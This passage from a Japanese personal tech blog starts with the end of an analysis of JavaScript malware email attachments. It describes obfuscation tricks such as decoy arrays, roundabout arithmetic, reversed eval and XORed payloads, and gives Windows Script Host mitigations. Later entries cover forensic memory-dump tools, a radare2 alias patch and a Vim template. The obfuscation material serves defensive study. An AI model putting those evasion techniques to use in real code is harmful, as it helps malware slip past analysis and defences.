が1048574byte書かれている.
Windowsのメモ帳とかで開いたなら苦労したと思う.Vimで開けばCtrl+F
とかで飛ばせる.
配列によるカムフラージュ
("@sdf3asdf ", "adfs3.", " R")+ "u" + ("x", "n")
と一見複雑は配列になっているが,意味があるのは,各()の一番最後の要素だけ.上の例だと,"Run"
になる.割と悪質.
素直じゃない計算
aaa=2
と書けば済むところをaaa=(4714-4712) * 1
とする.これをif (aaa==2)
と利用する.
wsfファイル
Windowsスクリプトファイル(wsf)形式になっているものもあるが,内容は<job><script language="JScript">...[".js"と同じ内容]...</script/></job>
とJS版と変わらない.
コード全体の難読化
上のテクニックをひと通り使ったコードを改行なし,見かけ逆順になるようにして,eval(<value>);
する.
解析にひと手間必要になる.
マルウェアの難読化
ダウンロードされるマルウェアをバイトデータを逆順にし,0xffなどでXORしたものもあった.
結論と対処法
怪しいメールに添付されているファイルは解凍まではして良いが,実行・開いては駄目だというのが今回の結論.
JavaScriptコード内で使われているWScriptはWindowsのデフォルトで有効になっているから,マルウェアをダブルクリックしてしまえば,相手の環境がWindos7,8,恐らく10であろうとマルウェア本体を落としてきて実行という目的を果たせる.
そもそもWScriptが実行できなければとりあえずこのタイプに関しては良いので,無効にすればとりあえず防止できる.
だからといって気軽に実行して良い理由にはならないので,ちゃんと仮想環境で実行すること.
WScriptの無効化は
1. コントロールパネルを開く 2. アプリケーションの追加と削除 3. 「Windowsファイル」タブ 4. 「アクセサリ」の「Windows Scripting Host」のチェックを外す.
もう少し過激な方法としては実行する本体プログラムのWSCRIPT.EXE, CSCRIPT.EXE
を削除する.
終わりに
現実で攻撃してくる奴らがどんな方法をとっているかの勉強になった.
読み方がわからないほどえげつない難読化に出会わなかったのは少し残念.
今回は予備調査の段階でWindows向けのJavascriptとわかったから解析できた.
もし,$ unzip -l
の段階でやばいと感じたり,手に負えないと思ったらすぐに解析を諦めることが個人的な解析の重要なところだと思う.
感染する力は強いが,そもそも.js
って書いてあるのにわざわざ開くやついるのか・・・?
参考
Symantec Security Response - Windows Scripting Host(WSH)を無効にする方法
スクリプトファイルの無効化方法 js&wsf拡張子のウイルス対策3つで感染攻撃回避 ( Windows ) - 無題な濃いログ - Yahoo!ブログ
メモリダンプについてのまとめ
このエントリで紹介したコマンドの一部は高確率でOSがクラッシュします.行う際は自己責任でお願いします.
マルウェア解析に使われるメモリダンプはどのように作成されるのかを調べたメモを書き残す.
結論として,Windowsはやり方が多い(設定をいじってからOSをクラッシュさせる,キーボードやスイッチから割り込みをかける,ツールを使う).Linuxはgrub(RHELのみ)の設定をいじる,ツールを使うことで取得できる.macについてはほとんど調べていないが,一部ツールは対応していた.いずれの方法でもOSがクラッシュした時と同等の影響がある.
注意点としてはメモリダンプツールとして公開されているプログラムの一部に現在は使えなさそうなものもあった.調べるだけでやる気が尽きたので,具体的な使い方までは網羅できていない.
疑問
近年のマルウェアは物理メモリにのみ存在し,電源が切れると一緒に本体も消えてしまうタイプがいる.高度なものになると,これに加えて自身をunlink
し,プロセス一覧から隠れる場合もあると聞いたことがある(専門ではないから,詳しくはわからない).
この場合,解析には感染したPCをネットワークから隔離した後すぐに電源を切らずに物理メモリの全内容をダンプする必要がある.
これについて,以下の点を疑問に思い,調べてみることにした.
- 一体どうやってダンプを取得するのか.
- OSがクラッシュした時にダンプ(Linuxではコアファイル)が作成されるが,普段仕事しているOSが動かないのに,誰がダンプを作成しているのか.
メモリダンプについて
種類
- 最小メモリダンプ
最重要な情報のみ保存(Stopメッセージ・パラメータ,停止したスレッドのカーネルモード呼び出しの履歴など).障害発生時に実行されていたスレッドが直接の原因でないエラーは発見できないことがある. - カーネルメモリダンプ
カーネルメモリのみの記録.ユーザプロセスの情報は記録しないため,カーネルで障害が起こっていない時は原因を究明できない. - 完全メモリダンプ
システムメモリの全内容を記録.メモリダンプを取るなら,これが推奨されている.当然ながら,メモリサイズ以上の大きさ(メモリサイズ+各種情報)になるため,ストレージの空きに注意.
今回は完全メモリダンプの取得に着目する.
フォーマット
メモリダンプのフォーマットは以下の通り.恐らく他にもあるが,ここでは解析ツールvolatility
でサポートしているものを挙げる.
- Raw linear sample (dd)
- Hibernation file (from Windows 7 and earlier)
- Crash dump file
- VirtualBox ELF64 core dump
- VMware saved state and snapshot files
- EWF format (E01)
- LiME (Linux Memory Extractor) format
- Mach-O file format
- QEMU virtual machine dumps
- Firewire
- HPAK (FDPro)
Windows
詳しいサイトが多数あるため,ここでは簡単に書く.詳しいことは参考サイトを確認すること.
どの方法でもブルースクリーンが発生するため,実験するときは重要なデータのセーブは必要.
Windows(7を想定)
- 基本的な方法
・OSクラッシュ時に作成されるようにする
・手動による作成
> NMIによる作成(キーボードなどが全く使えない時の最終手段)
> キーボードによる作成
詳しくは参考サイトを読むといいが,基本的な方法を簡単に書き残しておく.
1. スタートをクリック
2. 「コンピュータ」で右クリックし, 「プロパティ」を選択
3. 「システムのプロパティ」ウィンドウの詳細設定タブの一番下の「起動と回復」項目の「設定」をクリック
4. 「起動と回復」ウィンドウの「デバッグ情報の書き込み」でドロップダウンメニューから「完全メモリダンプ」を選択し,OKをクリック
5. 再起動
保存先は「デバッグ情報の書き込み」にある「ダンプファイル」で指定することができる.デフォルトは%SystemRoot%MEMORY.DMP
に保存される.
詳しくは
技術/Windows/メモリダンプ取得方法メモ - Glamenv-Septzen.net
https://blogs.technet.microsoft.com/askcorejp/2014/08/10/339/
を参照.
前者はXPなどにも使える方法が書いてあり,後者のMicrosoftサポートは2014年の記事であるから,Windows8.1(2013)まで有効だと思う.どちらも多くのやり方が書いてある.
最初にも述べたが,どちらにせよブルースクリーンになることは確定なので,データの保存は重要.
Linux
実装で/dev/mem
, /dev/kmem
から読みだしているプログラムはカーネルの2.6系まででしか動作が保証されていない.これ以降は/dev/(k)mem
でアクセスできるアドレスが制限されている.
2.6系という区切りで動作が保証されているのは,2003年に2.6から3.0へカーネルのメジャーバージョンアップがあったからのようだ.
「Security/Features - Ubuntu Wiki」には,Ubuntuの特色が書いてある.ここに/dev/mem protection
という項目がある.
現在のUbuntuでは/dev/(k)mem
からの完全メモリダンプ取得は望め無さそうだ.
この機構が適用されたのはBlackhat2009の発表(https://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf)にあるように,物理メモリにアクセスできるなら書き換えもできるよなってことのようだ.
/dev/(k)mem
を使っているツール群(ご利用は計画的に・・・)
実験した環境は4.5系だが,使うたびにOSがクラッシュした.こいつらの名前をきっと忘れない.
$ uname -r 4.5.0-1-ARCH
memdump
source: memdump 1.01-6, memdump_8c-source.html
$ sudo pacman -S memdump
でインストールできるやつ.
$ sudo memdump-kernel > test.dmp
でメモリダンプを作成できる.
ある程度ダンプできたところでクラッシュする.OSの実行しているコード部のコピーで競合かなんかが起きているのかな・・・
draugr
Google Code Archive - Long-term storage for Google Code Project Hosting.
pythonで実装されている.以上.
使えそうなやつ
/proc/kcore
から情報を取得するか,カーネルの機能を使うタイプが主流になっているようだ./proc/kcore
にはメモリ情報がELF形式で保存されている.64bitOSの場合,これのサイズが
$ ls -hl /proc/kcore -r-------- 1 root root 128T Apr 22 23:11 /proc/kcore
と非常に大きい.これは64bitで取り扱える最大サイズを指しているらしい.ここからどうやって取得するのかがまだもやっとしている.情報募集中.
以下のツール群は調べるだけでやる気が尽きて,実際に試していないから,各ドキュメントをよく読んで欲しい.
LiME(Linux Memory Extractor)
https://github.com/504ensicsLabs/LiME
volatility
で推奨されているメモリダンプ作成ツール.
Linuxのカーネルモジュールとして実装されている.
ネットワーク越しにダンプを作成することも可能なようだ.同じホスト上でダンプを作成するときはlocalhost
とするだけ.
Pmem
Rekall Memory Forensic Framework
ダンプ解析ツールrekall
が提供するメモリダンプツール.Linux, Windows, Macすべてで使えるできる凄腕.
モジュールとしてロードすることで使えるようだ.
Grub(RedHat系のみ)
grub.conf
に
crashkernel=auto
を書くと良いらしい.
kcore
, crach
, yum install kexec-tools
で検索.
その他
memfetch
[lcamtuf.coredump.cx]
/proc/<pid>/maps
から情報を取得している.メモリ全体というよりはプロセスごとのメモリを取得できる.
GDBなら,
$ gdb (gdb) attach <pid> (gdb) gcore <output>.dmp (gdb) detach (gdb) quit
で同じようなことができそう.gdbコマンドで得られるのはコアファイルでELF形式.
仮想マシン
Qemu, Xen,VMware,Virtualboxなど,仮想マシン上なら完全なメモリダンプを取得することができるから楽ってどっかに書いてあった.
メモリダンプ解析ツール
現在簡単に使えそうなツールは以下の通り.
volatility
The Volatility Foundation - Open Source Memory Forensics
Blackhat2007で発表されたツール.ダンプ解析で万能そう.
公式サイトには最もよく使われているツールと書いてある.本当かどうかは知らない.これを入れておけば困ることはなさそうだ.
メモリダンプ取得機能提供していないから,LiME
を使ってくれと公式のドキュメントに書いてある.しかし,ソースの中にgetkcore.c
とかいうプログラムがあったりする.これは/dev/kcore
から読み出す単純なプログラムなので,動きそう.提供しているじゃないかというツッコミは置いておく.
rakall
Rekall Memory Forensic Framework
前述のvolatility
から独立したプロジェクト.
これはメモリダンプ取得機能を提供している.Pmemはこいつが提供する機能の一つ.
特徴はメモリダンプに関することを全て行えること.
プラグインで機能拡張が容易に行える柔軟仕様だが,それ故プラグインが多すぎるのが悩みらしい.
当然ながら,ソースコードはvolatility
とかぶっている箇所が多い.
終わりに
様々なプログラムが乱立していて,混沌としていることがわかった.
ダンプを作成しているのは,カーネルっぽい.
メモリダンプ関係のプログラムを組むときにはカーネルについて調査すればもうちょい何か出てきそう.やる気が出たら実際にダンプを作成して,解析までやってみたい.Pmem
でダンプ取得して,volatility
で解析なんてひねくれるのも一興か.
/proc/kcore
の使い方や,実装のもっと深いところでの取得方法についてはまだ調べ尽くせていない.この疑問を解消する日が来るようやる気が出るまで忘れないようにしたい.
rekall
のtools/linux/lmap/log
やtools/osx/MacPmem/Common/logging.cpp
にはエラーレベルによるログの出力が実装されている.聞いたことはあったが,実際に見たのは初めてで感動した.今後の実装で使ってみたい.
参考サイト
/dev/kcoreが大きすぎる理由: /proc/kcore is 131072.0 GB / Newbie Corner / Arch Linux Forums
Linuxメモリダンプ作成: Linuxでのメモリダンプの取得 - higefoxの公開メモ
メモリダンプの種類,取得・圧縮: 完全メモリダンプを設定する方法
MSによるメモリダンプの作成手引:メモリ ダンプ ファイルを生成する方法について | Ask CORE
ダンプ取得ツール一覧: Top 8 Tools For Linux / Unix Memory Forensics Analysis
radare2のエイリアス機能をソースコードレベルでいじって使いやすくしてみる
この記事はプログラムのソースコードを書き換えるものです.行う際は自己責任でお願いします.
radare2
でエイリアスやマクロを使っていたが,どうにもコマンドを打ちにくいのでソースコードをいじって試行錯誤してみた.マクロ機能をいじるのは大規模な改変になりそうだったため,今回はエイリアスのみをいじることにした.結果エイリアスの識別文字を$
からn
にすると,比較的使いやすくなったのでそのやり方をまとめておく.
ついでに,改変後のエイリアス機能を利用した動的解析用エイリアスも紹介する.作成したエイリアスはPeda
を使ったGDB
を意識した.
エイリアス機能
radare2
のエイリアス機能は以下のように定義・使用することができる.
* 定義 $dis=`af;pdf` * 使用 $dis
詳しくは$?
で見ることができる.
問題点
まず基礎知識として,radare2
は最初に機能を大別する文字(今回ならば$
)の後に個別のコマンドが続くようになっている.
エイリアス機能は多用するのにタイプしにくい.これは識別文字に$
を使っていることが原因であると考えた.
$
を入力するShift+4
って何回も打つのは苦痛だ,できればアルファベットのどれか,かつShift
を押さないで済ましたい.
ソースコードを読んでみると,$
を定義している部分のコメントにはprefix aliases with a dash
とあった.英語は苦手だが,とりあえず「dash
を参考にしてエイリアスのプレフィックスを$
にしました」と理解した(間違っていたらぜひ指摘してください).
恐らく,dash
を起動した時に左に出てくる$
のことだと思う.dash
に固執する特別な意味は感じなかったので変えても問題はないだろうと判断した.
そこで,エイリアス機能の識別子である$
を現在コマンドがマッピングされていないn
に変更することにした.
準備
Githubからソースコードをダウンロードする.この記事には関係はないが,Ubuntuのapt
などでインストールされるradare2
はバージョンが古いので,Githubからのインストールをおすすめしたい.
$ git clone https://github.com/radare/radare2 && cd radare2
編集
次に,libr/core/cmd.c
を以下のように編集する.やってることは,$
をn
に置き換えているだけ.現在マッピングされているコマンドとかぶらなければ良いので,n
でなくとも問題はない.他に現在コマンドがマッピングされていない文字はh j v
がある(大文字であればもっと存在するが,Shift
を押したくないので今回は考えない).行番号はバージョンによって異なるので,適宜修正すること.
// libr/core/cmd.c 128 static int cmd_alias(void *data, const char *input) { 129 int i; 130 char *def, *q, *desc, *buf; 131 RCore *core = (RCore *)data; // help_msgの'$'を'n'に置き換える 132 if (*input=='?') { 133 const char* help_msg[] = { 134 "Usage:", "nalias[=cmd] [args...]", "Alias commands", 135 "n", "", "list all defined aliases", 136 "n*", "", "same as above, but using r2 commands", 137 "n", "dis='af;pdf'", "create command - analyze to show function", 138 "n", "test=#!pipe node /tmp/test.js", "create command - rlangpipe script", 139 "n", "dis=", "undefine alias", 140 "n", "dis", "execute the previously defined alias", 141 "n", "dis?", "show commands aliased by 'analyze'", 142 NULL}; 143 r_core_cmd_help (core, help_msg); 144 return 0; 145 } ... // コマンド解析時の識別文字を変更.ここが要 149 *buf = 'n'; ... // 何も押さないでEnterした時に前回のコマンドが実行される機能を'n'で動くようにする. 2354 R_API void r_core_cmd_repeat(RCore *core, int next) { 2355 // Fix for backtickbug px`~` 2356 if (core->cmd_depth + 1 < R_CORE_CMD_DEPTH) 2357 return; 2358 if (core->lastcmd) 2359 switch (*core->lastcmd) { 2360 case 'd': // debug 2361 r_core_cmd0 (core, core->lastcmd); 2362 switch (core->lastcmd[1]) { 2363 case 's': 2364 case 'c': 2365 r_core_cmd0 (core, "sr PC;pd 1"); 2366 } 2367 break; 2368 case 'p': // print 2369 case 'x': // ここを変更.これを忘れると,入力なしの時に前回のコマンドを実行する機能が動かない 2370 case 'n': 2371 if (next) { 2372 r_core_seek (core, core->offset + core->blocksize, 1);
インストール
セーブしたら,
$ sys/install.sh
でインストールできる.
ローカルにインストールしたいときは
$ sys/user.sh
削除は
$ make uninstall && make purge
で行うことができる.
確認
無事インストールが終わったら,反映されているかを確認する.
$ r2 /bin/ls [0x00404840]> n? |Usage: nalias[=cmd] [args...]Alias commands | n list all defined aliases | n* same as above, but using r2 commands | ndis='af;pdf' create command - analyze to show function | ntest=#!pipe node /tmp/test.js create command - rlangpipe script | ndis= undefine alias | ndis execute the previously defined alias | ndis? show commands aliased by 'analyze' [0x00404840]> ndis='af;pdf' [0x00404840]> n* ndis=af;pdf [0x00404840]> ndis / (fcn) entry0 42 | 0x00404840 31ed xor ebp, ebp | 0x00404842 4989d1 mov r9, rdx | 0x00404845 5e pop rsi | 0x00404846 4889e2 mov rdx, rsp | 0x00404849 4883e4f0 and rsp, 0xfffffffffffffff0 ...(snip)...
これでエイリアス機能の識別文字がn
になっていることが確認できた.
しかし,エイリアスの定義では引数を渡す文字の@
を使うことができない.
[0x00404840]> ndis='pd 10@eip
とすると,
[0x00404840]> n* ndis='pd 10
と途切れてしまう.これはひと手間かけることで解決できる.
[0x00404840]> (test,"",pd 10@eip) [0x00404840]> ntest=.(test)`
マクロを定義して,そのマクロのエイリアスを設定している.これで,@
問題は解決できる.
デバッグ用エイリアス
最後に,デバッグでよく使いそうなマクロ・エイリアスを紹介する.一部はradare2book
に載っているものを活用した.これを$HOME/.radare2rc
に書いておくと起動時に毎回読み込んでくれる.
// .radare2rc for 32bit (peda32,"",drr,pd 10@eip,pxr 40@esp) (stepOut32,"",dso,drr,pd 10@eip,pxw 64@esp) (stepIn32,"",ds,drr,pd 10@eip,pxw 64@esp) (outputStack32,"",pxw 64@esp) nn=.(stepIn32) ; GDBでの'si' ni=.(stepOut32) ; GDBでの'ni' nw=.(outputStack32) ; GDBでの'x/20xw $esp' np=.(peda32) ; pedaによる出力に似た何か ns='do;db main;dc;db- main;np' ; GDBでの`start'.デバッグ情報が消されている場合は動作しない nr='do;dc;np' ; GDBでの'run' nc='dc;np' ; GDBでの'continue'
// .radare2rc for 64bit <- この行は書かない (peda64,"",drr,pd 10@rip,pxr 40@rsp) (stepOut64,"",dso,drr,pd 10@rip,pxq 64@rsp) (stepIn64,"",ds,drr,pd 10@rip,pxq 64@rsp) (outputStack64,"",pxq 64@rsp) nn=.(stepIn64) ni=.(stepOut64) nq=.(outputStack64) np=.(peda64) ns='do;db main;dc;db- main;np' nr='do;dc;np' nc='dc;np'
コマンド名は最初がn
であることが条件.それ以降は自由に変えてよい.
まとめ
とりあえず,これでエイリアス機能が指をあまり動かさずに呼び出せるようになったので楽になった.しばらくはこの設定で使ってみようと思う.
書き換える箇所があれだけで済んだこととソースが読みやすかったことには感動した.機能をひとつのファイル内で完結させる部分とかは今後プログラムを書く上で意識していきたい.
しかし,もっと良い方法がデフォルトでなにかあるんじゃないかなと思いもする.Bookを読んでなにか気づいたらまた書きたい.
参考文献
Radare2Book: https://www.gitbook.com/book/radare/radare2book/details
Vimで簡単なファイルテンプレートを入力するコマンドを作成してみた
プログラムを組むとき,テンプレートを毎回手で入力することが面倒くさくなったので,Vimのショートカットにした.
編集中のファイル名を挿入する方法やレジスタについて勉強したので簡単にまとめておく.
目的
作成したいのは現在編集しているファイルに対して,自分が使っているテンプレートを書き込むだけの簡単なコマンドを実装する.本エントリではC言語向けのものを説明する.
具体的な動作は,編集中のファイルの最初と最後にそれぞれコメントを書き込むだけ.最初のコメント部にはファイル名を自動で書き込む.
Ex: filename.cを編集中の場合 /* filename.c */ <... code ...> /* E.O.F. */
E.O.F.
って手で打つと面倒くさい.
コマンド
最終的には以下を.vimrc
に付け加えた.
nmap <silent> ,/ Go/* E.O.F. */<Esc>ggO/* <C-r>% */<CR>
ノーマルモードで,/
と打つと実行.特に難しいものでもないから,肝となる部分だけ以下で説明する.
ファイル名の挿入
インサートモードで<C-r>+レジスタ
とすると,レジスタの内容を挿入することができる.今回はカレントファイル名を格納している%
レジスタを使用した.
レジスタ
種類が多いから,少しだけ紹介.
* 番号付きレジスタ: "0-9
のレジスタで0
はコピー内容,それ以降は1
から最新の削除内容が入る.
* 名前付きレジスタ: "[a-Z]
のレジスタで明示的に指定することで任意に使える.
* 消去専用レジスタ: "_
レジスタ._dd
とするとレジスタ内容に変化を起こさずに削除を行える.
各レジスタは"<レジスタ名><コマンド>
で使える.具体的にはV"ay
で"a
レジスタに一行を保存し,"ap
でその内容を書き込める.
レジスタに何が入っているのかの確認は:reg
で行える.
まとめ
多分プラグインを探せばもっと高機能なものがあるのだろうが,そこまでの機能は求めていないからと軽い気持ちで実装したら思った以上に手間取った.レジスタについてはもっと使いこなせるようになりたい,特に_dd
は多用しそうだ.